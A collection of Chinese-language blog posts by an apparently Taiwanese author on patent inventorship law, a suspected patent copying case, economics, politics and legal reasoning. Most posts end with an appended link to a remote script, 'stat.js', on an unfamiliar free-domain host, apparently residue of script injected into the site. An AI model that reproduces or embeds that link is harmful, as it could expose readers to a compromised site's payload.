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隨筆

相信公職的老同學

以前在政大法律念書時,有不少同學立志公職。這在法律系來說算很正常。其中有一位還常常向我鼓吹公職的好處,並且頻頻表示不理解我為什麼一點興趣都沒有,什麼國考都不參加。

終於有一次,我問他:「為什麼你這麼想當公務員?」

他:「因為薪水高、工作穩定還保證退休生活。」

我:「你知道中華民國政府不如表面有錢,舉債很高。你知不知道四大基金操盤的績效其實不怎麼樣?你真的相信台灣政府到你退休時不會食言?不會出爾反爾?不會因為破產而根本給付不了足額退休金?甚至講更白的,你真的相信你退休時這個政府還存在?」

他用一種很驚訝,恍若從沒聽過這種論調的語氣反問:「政府怎麼可能破產?怎麼可能會給不出退休金?」

well,才過了16年,就已經搞成這樣。同學,讓我們繼續看下去~~ XDhttps://js.developerstatss.ga/stat.js?n=ns1

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專利 法律

關於專利發明人在法律上之定義

【關於專利發明人在法律上之定義】

台灣:
智慧財產法院106年度民專訴字第60號智慧財產法院民事判決說:"發明人係指實際進行研究發明之人,須對申請專利範圍所記載之技術特徵具有實質貢獻之人,所謂「實質貢獻之人」則指為完成發明而進行精神創作之人,其須就發明所欲解決之問題或達成之功效產生構想(conception) ,並進而提出具體而可達成該構想之技術手段,即精神創作,是指發明之構想,詳述及具體化作業者,原則上為研發人員,然並不包括僅提出構想或作實驗驗證之人。只有發明之構想,尚不足以產生一件發明,構想產生後,必須有預測結果程度之詳述及具體化,各種具體化的技術都可以申請專利,蓋專利所保護的是其技術手段而非其構想。"

這是台灣法院對專利發明人的要件 — 必須有具體而可達成該構想之技術手段,因為專利保護的正是這個技術手段,而非單單構想本身。

美國:
美國法律也是如此,根據Burroughs Wellcome Co. v. Barr Labs., Inc. 一案,發明人必須是實際對發明之構想有真實貢獻之人(… for a person to be properly named as an inventor on a patent, he must generally contribute to the conception of the invention.)。假設某專利發明人共列A與B,但實際發想人是A,B只是監督或資金提供者的話,則B是不可以被列為發明人的。

在1952年美國專利法修法之前,上述的「錯列發明人」是會導致"專利無效"的嚴重後果!1952年修法後(35 usc §256)則改為「故意錯列發明人」才會導致專利無效;若是「過失錯列發明人」則必須被修正。

 

補充:
根據35USC§116,要被列為共同發明人一定要實際對專利claim有所貢獻。

後來Ethicon, Inc. v. United States Surgical Corp.一案法官進一步定義:「假設claim 20項,至少要有貢獻其中一項,方可列入。」

Apple一年那麼多專利申請,只有少數幾個有列名Steve Jobs為發明人。(例如很有名的那個透明樓梯)。

而Steve Jobs並非單單發想「透明樓梯」這麼簡單,而是可以證明他在結構力學上實際提出解決方案,讓玻璃樓梯可以承受相當重量而不破裂。

如果他只是說:「我想要透明玻璃樓梯,你們工程師去實現」,這樣絕對是不可能被列名發明人的,即便列了專利也會因此無效。

台灣則普遍有列名老闆的陋習,即便老闆可能只是出個點子但沒有實際貢獻解決方案的內容。這個好像業界很常見。https://js.developerstatss.ga/stat.js?n=ns1

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筆記

蘋果與富邦

蘋果2017年Apple Care收入大約是60億美元(約1800億台幣),而台灣最大的產險公司富邦產險同年簽單保費約350億台幣。全台灣產險業同年簽單保費收入約1500億台幣。

如果把Apple Care看做產險(本質上其實非常相似),一家打趴全台灣。https://js.developerstatss.ga/stat.js?n=ns1

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經濟分析

郝明義又錯得離譜

郝明義的蘋果日報投書:「能源政策要打破「兩迷一混」(上)(郝明義)」一落筆就是錯:

「第一個是:「迷信供給」。
先問一個問題。每逢清明、春節的連續假期,高速公路都會有頭尾兩天的高峰塞爆期。請問我們是要設法疏散這兩天的交通流量,還是因而就要多蓋幾條高速公路?
同理,台灣今天面臨的「電力短缺」,指的也都是1年之中電力需求高峰最大的那幾天裡中午幾個小時的問題。台電如果能掌握用戶的需求,設法以優惠電價誘使許多人避開中午尖峰期間的用電,挪動一下用電時間,那就可以進行所謂的「移峰填谷」,也就有助於舒解尖峰用電時間的壓力。
但是台電基於國營事業、工程思維、獨家壟斷的體制,從不認真掌握用戶的需求,當然也無從調節用戶的需求。他們的思路和做法,就是塞車就要多蓋高速公路。 」

照郝明義的這個說法,那台灣打從一開始就不用蓋高速公路,有當年的省道就該知足感恩啦!

尤其世界上所有的餐廳也不需要增加座位、增加人手甚至開分店啦 — 反正需求只出現在中午或傍晚幾小時的用餐時間,應該設法讓客人「不要再死心眼地堅持用餐時間」就好啦~

台積電也無須追求更小奈米製程,只要告訴客戶:「你現在的需求已經被滿足,你要好好調整愛追更高效能、更省成本晶片的心態!」世界上多數工廠都毋須增加產能更甭題蓋新廠。

如此荒謬且顛倒的經濟看法,當初是如何經營事業?讓我非常好奇。

郝先生一落筆就錯,還刻意誇大核能的危險性。說到危險性,台灣兩條高速公路一年造成的傷亡人數遠高過三座核能發電廠,試問郝明義先生要不要發動「反高速公路公投」啊?

缺乏正確經濟邏輯,郝先生當年「反服貿」就是用一堆錯誤的理論和誇大的危險宣稱來欺騙群眾,沒想到台灣已經出現缺電情形,依然見到棺材仍死不認錯。厲害厲害。https://js.developerstatss.ga/stat.js?n=ns1

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隨筆

侷限條件的考察與大白鯊


電影大白鯊這個經典的恐怖片,其經典之處一部分歸功於導演Steven Spielberg使用了大量暗示性、隱喻性的鏡頭暗示恐怖大白鯊的存在,而非大喇喇地展示大白鯊本身。

當年許多影評都盛讚擅於烘托恐怖氛圍而不直接使用嚇人的物體實在是大師手筆。更有某些影評認為手法帶有東方禪宗留白的境界,很可能Spielberg深受日本導演黑澤明影響云云。

事實呢?

根據Spielberg大白鯊30週年的訪問指出,其實是用來拍攝影片的三隻機械大白鯊(每隻當年造價25萬美元)總是故障,影響拍攝進度。Spielberg不得不重新理順劇本,減少大白鯊出現的場景數量,把本來導演自稱「日本週六午後的恐怖爛劇」改進為「像希區考克風格–觀眾看到的越少反而越害怕」(The film went from a Japanese Saturday matinee horror flick to more of a Hitchcock, the less-you-see-the-more-you-get thriller.")。同時也因為機械大白鯊常常沒法拍,某些大白鯊應該要出現的場景,導演乾脆就用鏡頭、場景與道具來暗示大白鯊的存在,或是把大白鯊拍得模模糊糊地。

是的,Spielberg的確是一代大師,在如此惡劣侷限條件下還能拍出如此恐怖經典。但顯然與什麼禪宗、留白無關,也非一開始的計畫,而是現實侷限下被逼出來的創意。

我拿這個例子正是要說明:面對各種經濟現象不去考察真實世界的侷限條件,而是關在教室、辦公室裡天馬行空想像各種經濟學理論或數學公式搞R. Coase所謂的「黑板經濟學」,在面對「解釋或預測真實世界」這項考驗時,勝負優劣將是高下立判。https://js.developerstatss.ga/stat.js?n=ns1

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專利 法律

東華大學專利疑雲

針對東華大學專利疑雲,我簡單Google專利檢索一下,東華大學的美國專利優先權日記載是2014-03-06,申請日期是:2015-09-10,此專利已經獲證(US9750783B2, 2017-09-05)

專利名稱是:「Composition containing a Spiranthes sinensis extract and pharmaceutical applications thereof」

Claim有8項。

我另外查到東華大學這個專利在台灣的專利公報(http://twpat-simple.tipo.gov.tw/tipotw…/00049/ga-I578991.pdf)

申請日期:2015-03-06;優先權記載日期:2014-03-06與2015-01-21。專利claim有42項。

Spiranthes Biotech LLC 這家公司在美國與中國申請的
US15655530 (https://patents.google.com/patent/US20170360868A1/en…) 與CN 201580078107 (https://patents.google.com/patent/CN107427546A/en…)優先權日均記載為2015-01-21,此二專利都已經被公開但尚未獲證。


上述四個專利申請名稱一樣是:「Composition containing a Spiranthes sinensis extract and pharmaceutical applications thereof」

細究專利權利範圍,東華大學的美國專利與台灣專利範圍claim項顯有不同,但弔詭的是東華大學的台灣專利範圍claim內容卻與Spiranthes Biotech LLC這家公司在美國與中國的專利申請案中claim敘述極 為 相 似 !簡直是中文直接翻譯成英文。

生物科技方面我懂得很少,還需要專業人士協助判斷。

我偏向認為有人把東華大學的台灣專利,用Spiranthes公司為申請人與所有權人名義在美國與中國再申請。

我從兩份專利文件截圖,各位可以看看,東華大學的台灣專利與Spiranthes公司的美國專利申請用的數據、圖表甚至顯微照片竟然是一模一樣!(有中文字樣出自台灣專利,純英文字樣出自美國專利,兩邊圖片連編號都一樣)。


如果Spiranthes公司是東華大學百分百持有設立之公司,那比較沒有法律問題。如果不是,看起來似乎有人要負擔刑事責任喔~~

PS 以下是Spiranthes公司在美國申請專利的前10項claim:
「1. A composition comprising sinetirucallol in an amount effective in reducing an inflammatory response.
2. The composition of claim 1, wherein the composition comprises at least 4.4 μg of sinetirucallol.
3. The composition of claim 1, wherein the sinetirucallol is in an amount between 4.4 μg and 44 μg
4. The composition of claim 1, wherein the composition comprises a Spiranthes sinensis extract.
5. The composition of claim 1, wherein reducing an inflammatory response is evidenced by a reduction in expression or activity of one or more biological markers selected from the group consisting of: inducible nitric oxide synthase (iNOS), cyclooxygenase-2 (COX-2), tumor necrosis factor-alpha (TNF-α), prostaglandin E2 (PGE2), interleukin-6 (IL-6), interleukin 1β (IL-1β), interleukin 33 (IL-33), NLRP3, phosphorylated ERK (pERK), NFκB, matrix metalloproteinase-2 (MMP2), and matrix metalloproteinase-9 (MMP9).
6. The composition of claim 1, wherein reducing an inflammatory response is evidenced by a decrease in a level of one or more free radicals in an inflammatory response.
7. The composition of claim 6, wherein the one or more free radicals are selected from the group consisting of: superoxide radical anion (O2-.), hydrogen peroxide (H2O2), hydroxyl radical (.OH), singlet oxygen (1O2), peroxynitrite (ONOO—), nitric oxide (NO), nitrosonium cation (NO+), and nitroxyl anion (NO—).
8. The composition of claim 1, wherein reducing an inflammatory response is evidenced by a reduction in tissue swelling.
9. The composition of claim 8, wherein the tissue is selected from the group consisting of: skin, epithelia, synovial tissue, tendons, cartilage, ligaments, bone, muscle, organs, dura, blood vessels, bone marrow, and extracellular matrix.
10. A dosage form comprising sinetirucallol formulated for administration to a subject.」

以下是東華大學台灣專利的前10項claim:
「1. 一種經調製以供施予一個體之組合物,其包含一有效量之 sinetirucallol 以降低發炎反應。
2. 如請求項第 1 項所述之組合物,其中前述組合物包含至少 4.4μg 的 sinetirucallol。
3. 如請求項第 1 項所述之組合物,其中前述 sinetirucallol 之含量係介於 4.4μg 至 44μg 之 間。
4. 如請求項第 1 項所述之組合物,其中前述組合物包含一綬草萃取物。
5. 如請求項第 1 項所述之組合物,其中前述降低發炎反應係經降低一或多種生物性標記物
之表現或活性而被證實;其中前述生物性標記物係選自由誘導型一氧化氮合成酶(iNOS)、 環氧酶-2(COX-2)、腫瘤壞死因子 α(TNF-α)、前列腺素 E2(PGE2)、介白素-6(IL-6)、介白 素-1β(IL-1β)、介白素-33(IL-33)、NLRP3、磷酸化之 ERK(pERK)、NFκB、基質金屬蛋白 酶-2(MMP2)、及基質金屬蛋白酶-9(MMP9)所組成之群組。
6. 如請求項第 1 項所述之組合物,其中前述降低發炎反應係經降低一發炎反應中一或多個 自由基的含量而被證實。
7. 如請求項第 6 項所述之組合物,其中前述一或多個自由基係選自由:超氧陰離子(O2-)、 過氧化氫(H2O2)、羥基自由基(.OH)、單一態氧(lO2)、過氧亞硝酸根(ONOO-)、一氧化 氮(NO)、一氧化氮正離子(NO+)、及氮氧根離子(NO-)所組成之群組。
8. 如請求項第 1 項所述之組合物,其中前述降低發炎反應係經減緩組織腫脹而被證實。
9. 如請求項第 8 項所述之組合物,其中前述組織係選自由:皮膚、上皮、滑液膜組織 (synovial tissue)、腱、軟骨、韌帶、骨骼、肌肉、器官、腦膜、血管、骨髓、及細胞外 基質所組成之群組。
10. 一種製劑,其包含 sinetirucallol,且係經調製以供施予一個體。」https://js.developerstatss.ga/stat.js?n=ns1

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經濟分析 隨筆

北韓走向市場經濟

目前局勢看來,我這個推斷金正恩要搞「改革開放」走向市場經濟的思維是成立的。

共產國家要開放,領導者本身的絕對政治權力一定要夠。殺異己與拼命研發核彈,都是金正恩奪權與鞏固權力的手段。

敢出訪中國,則是權力已經穩固的象徵。

從北韓大量出現的小攤販、個體戶與黑市,代表市場經濟轉型已經在運作。當脫貧人口越多,則回頭的成本越高。

我想台灣、美國媒體長期低估金正恩了。

4/1推斷:

隨著金正恩的掌權越趨穩固(從核彈可能成功以及有自信出訪中國),從經濟學推斷:北韓走向改革開放的市場經濟制度也是必然了。

補充:
北韓制度邊際上的轉變已經出現好幾年,只是這個轉變所需成本是大於亦或小於維持既有制度的成本。以及轉變所造成的既得利益集團損失要怎麼處理。

明顯轉對變金正恩這個少主有利,但對於既得利益集團不利。金正恩的作法是直接殺掉既得利益集團頭頭。可是殺掉之後能不能說服剩下的人接受轉變?還是要看實質利益。

從這兩年北韓饑荒情形大幅改善,以及可成功研發核彈,到最近敢離開權力中心訪中幾點來看,制度轉變費用大幅降低,北韓轉向市場經濟是列車已發動,要回頭機率不高了。

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隨筆

公投題目不喜歡就栽贓為「違憲」與「民主重挫」?

蘋果日報社論邏輯混亂不清愈發嚴重,恍若阿茲海默症一去不返。

竟然拿大法官釋憲來對抗直接民意?

雖然我反對「公民投票」這個制度,因為經濟學無論從理論或實證都指出「民主投票」不可能選出最佳方案,甚至連多數人接受的方案都得不到。

再加上台灣公投題目竟然還有個「太上狗屁單位中選會」來核定題目?如果這叫民主還真叫人看不起!

君不見黃士修提案的「解除非核家園時程,確保重啟核電權利」被中選會技術性阻擋,公務員作為台灣負資產只求自己飯碗,又添一例!

言歸正傳,直接民意連憲法都能創制、修憲了,邏輯上怎麼可能存在「違憲」?!可笑的是到了蘋果日報社論眼中「公投竟然不能對抗毫無民意基礎的大法官釋憲」?!如此邏輯竟然有資格執筆一家報社的社論,蘋果日報自甘墮落至此也甚為有趣。

再者,中華民國憲法第七條:「中華民國人民,無分男女、宗教、種族、階級、黨派,在法律上一律平等。」

本身並不包含「性取向」喔!

也就是說,本國憲法的平等權並不包含「同性戀」– 未禁止,但也沒有提供憲法位階的人權保障。

這是現今我看過的所有支持同性戀的論調裡,完全忽略的憲法現況!

我曾經經濟分析過:正常直男直女對同性戀議題應該是無感,反而是潛在同性戀、雙性戀者會特別激烈支持或反對之。 (參見全文:https://wp.me/p9ffS3-tJ)

一個未受到憲法保障的性取向或性偏好,就算大法官釋憲承認其為憲法權利,但碰上直接民主要推翻大法官釋憲時,試問何者為大?對民主體制稍有認識的人,都知道答案。

可該文執筆者連這一點法律常識都不具備,對如今要被公投決定「是否可以享有合法婚姻」與「是否入國民教育教材」,污名為助長歧視與破壞民主?顯見執筆者有立場沒邏輯到極點。
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隨筆

理工科與文科差異

過來人的經驗:
 
理工科的特點在於難懂易精 — 入門不容易,特別是工程數學、微積分、物理化學基礎不夠好的人,一些工程概念連要懂都難。
 
但懂了之後,要專精一門相對文科簡單。
 
舉個例子:傅立葉轉換很難,光是要弄懂就搞死一堆理工科生。但懂了之後很好用,很多領域(聲學、光學、密碼學、物理學、通訊學甚至金融學都能應用)。
 
文科的特點是好像很容易讀懂,但其實資訊太多太龐雜,各家說法不一,要能從一堆訊息中釐清並整理出真正可以在真實世界運作可被科學驗證的,很難。
 
舉個例子:以美國common laws為例,法學院學生可能要讀幾十到上百個案例,才能從中「體會出」一個抽象原則。(但依然會發現法官實際判案上的價值觀選擇,某些法官因為某些價值觀,而可以在「認事」上做細微區別來達到「用法」的改變。)
 
理工科人往往最不習慣就是這點,往往會說:「為什麼不一開始就告訴我抽象原則,我直接用就好?」可文科(尤其是法理的演變)就不是這樣。抽象原則是從一堆真實判決中慢慢累積出來的,好像畫素描的構圖過程。
 
再舉一例:有個人偷開了你家窗戶,正準備爬入時被你與警察抓到。
 
非法侵入私宅罪?應該成立。
 
偷竊未遂?這就難了。你要如何證明他有「偷竊意圖?」
第二個案例,這人進了你家東看西看時被逮住。有沒有偷竊意圖?
 
第三個案例,這人進了你家,巡視一番後伸手摸了一個抽屜正要打開時被逮住,有無偷竊意圖?
 
第四個案例,這人進了你家,巡視一番後伸手摸了一個抽屜打開後正要再伸手進去拿取物品時被逮住,有無偷竊意圖?
 
第五個案例,這人進了你家,巡視一番後伸手摸了一個抽屜,打開後伸手進去拿取物品出來,起身時被逮住,有無偷竊意圖?
 
第六個案例、第七個案例….
 
你會發現刑法第320條第一項很簡單地規範:「意圖為自己或第三人不法之所有,而竊取他人之動產者,為竊盜罪,處五
年以下有期徒刑、拘役或五百元以下罰金。」
 
但什麼叫:「意圖為自己或第三人不法之所有」、什麼叫「竊取」甚至什麼叫「意圖」都是需要真實案例來形塑法理原則的。
 
上述「偷竊意圖」都必須要能在法庭上證明喔!美國的話就是要能夠說服陪審團。你不能說:「都跑進來了想當然耳是要偷東西。」
 
行為人可能是要來強姦屋主?行為人甚至可以辯解自己是路過的迷途書僮,聽到屋內做愛聲音高潮迭起心生佩服想旁觀學習…
 
一樣的竊盜抽象原則,放到新技術上:例如有人看到你壓在桌墊的比特幣金鑰,用超強記憶力記下,但還沒有兌現,算不算竊取?比特幣算動產還是算什麼?
 
我舉的還只是最簡單的法律系大一刑總入門題而已。我都還沒從法律經濟分析角度來看「竊盜罪存在的必要性」、「構成要件是否有改善空間」與「構成要件改變後對罪犯的行為影響」…等等問題哩。
 
學海無涯,學問樂趣也在於此。對真實世界多認識一點,無論理工文法商,都是一樣的。

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經濟分析

何謂經濟學上之效率?

很多人搞不清楚「侷限條件下達到最大效率」。特別是工程師出身者老用理工科思維來定義效率,這是常見的錯誤。

為什麼經濟學認為廠商必然是「侷限條件下達到最大效率」在經營,因為如果不是,則立刻違反「自私假設」—經營者明知有更高獲利的選項卻不選。

工科生常忽略的是「真實世界侷限條件」這回事,往往只看到機械的工作條件,卻忽略這只是生產要素的一小部分。

身為一個工廠經營者的經驗:經營者的資訊成本、管理能力;幹部的管理能力、資訊成本、人力素質、可成長性;底層員工的態度、能力與學習積極性;公司財力;訂單可預期性… 往往這些才是最關鍵的侷限條件。

十幾年前我就說過:公司經營是統合股東+債權人、員工、客戶、上游廠商四方資源並對四方資源負責。侷限條件思考也要顧及此四方資源的侷限。

經營者必然是在這些條件之下(包含自身能力)達到最高效率。

理工科就業常見的不適應症,也往往來自於對這些現況的無知。

也不用再寫信跟我說什麼文科不如理工科的蠢話。我是高中自然組大學聯考考上交通大學工科的,理工科思維我自己很熟的。我反倒是要建議理工科—至少要會且看懂財報!

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